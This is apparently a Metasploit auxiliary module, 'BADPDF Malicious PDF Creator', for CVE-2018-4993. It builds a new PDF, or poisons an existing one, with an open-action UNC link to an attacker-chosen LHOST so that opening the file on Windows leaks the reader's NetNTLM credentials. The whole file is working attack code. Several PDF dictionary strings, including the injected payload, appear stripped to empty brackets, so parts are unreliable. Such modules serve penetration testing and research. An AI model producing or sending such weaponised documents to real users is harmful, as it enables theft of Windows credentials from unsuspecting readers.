## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'BADPDF Malicious PDF Creator', 'Description' => %q{ This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible. }, 'License' => MSF_LICENSE, 'Author' => [ 'Assaf Baharav', # Code provided as POC by CheckPoint 'Yaron Fruchtmann', # Code provided as POC by CheckPoint 'Ido Solomon', # Code provided as POC by CheckPoint 'Richard Davy - secureyourit.co.uk', # Metasploit ], 'Platform' => ['win'], 'References' => [ ['CVE', '2018-4993'], ['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/'] ], 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]), OptString.new('FILENAME', [false, 'Filename']), OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into']) ] ) end def run if datastore['PDFINJECT'].nil? && datastore['FILENAME'].nil? print_error 'Please configure either FILENAME or PDFINJECT' elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf') injectpdf elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf') createpdf else print_error "FILENAME or PDFINJECT must end with '.pdf' file extension" end end def injectpdf # Payload which gets injected inject_payload = "/AA <>>>" # if given path doesn't exist display error and return unless File.exist?(datastore['PDFINJECT']) # If file not found display error message print_error "File doesn't exist #{datastore['PDFINJECT']}" return end # Read in contents of file content = File.binread(datastore['PDFINJECT']) # Check for place holder - below ..should.. cover most scenarios. newdata = '' [2, 4, 6, 8].each do |pholder| unless content.index("/Contents #{pholder} 0 R").nil? # If place holder exists create new file content newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1] break end end # Display error message if we couldn't poison the file if newdata.empty? print_error 'Could not find placeholder to poison file this time....' return end # Create new filename by replacing .pdf with _malicious.pdf newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf" # Write content to file File.open(newfilename, 'wb') { |file| file.write(newdata) } # Check file exists and display path or error message if File.exist?(newfilename) print_good("Malicious file written to: #{newfilename}") else print_error 'Something went wrong creating malicious PDF file' end end def createpdf # Code below taken POC provided by CheckPoint Research pdf = '' pdf << "%PDF-1.7\n" pdf << "1 0 obj\n" pdf << "<>\n" pdf << "endobj\n" pdf << "2 0 obj\n" pdf << "<>\n" pdf << "endobj\n" pdf << "3 0 obj\n" pdf << "<>>>\n" pdf << "endobj\n" pdf << "xref\n" pdf << "0 4\n" pdf << "0000000000 65535 f\n" pdf << "0000000015 00000 n\n" pdf << "0000000060 00000 n\n" pdf << "0000000111 00000 n\n" pdf << "trailer\n" pdf << "<>\n" pdf << "startxref\n" pdf << "190\n" pdf << "3 0 obj\n" pdf << "<< /Type /Page\n" pdf << " /Contents 4 0 R\n" pdf << " /AA <<\n" pdf << " /O <<\n" pdf << " /F (\\\\\\\\#{datastore['LHOST']}\\\\test)\n" pdf << " /D [ 0 /Fit]\n" pdf << " /S /GoToE\n" pdf << " >>\n" pdf << " >>\n" pdf << " /Parent 2 0 R\n" pdf << " /Resources <<\n" pdf << " /Font <<\n" pdf << " /F1 <<\n" pdf << " /Type /Font\n" pdf << " /Subtype /Type1\n" pdf << " /BaseFont /Helvetica\n" pdf << " >>\n" pdf << " >>\n" pdf << " >>\n" pdf << ">>\n" pdf << "endobj\n" pdf << "4 0 obj<< /Length 100>>\n" pdf << "stream\n" pdf << "BT\n" pdf << "/TI_0 1 Tf\n" pdf << "14 0 0 14 10.000 753.976 Tm\n" pdf << "0.0 0.0 0.0 rg\n" pdf << "(PDF Document) Tj\n" pdf << "ET\n" pdf << "endstream\n" pdf << "endobj\n" pdf << "trailer\n" pdf << "<<\n" pdf << " /Root 1 0 R\n" pdf << ">>\n" pdf << "%%EOF\n" # Write data to filename file_create(pdf) end end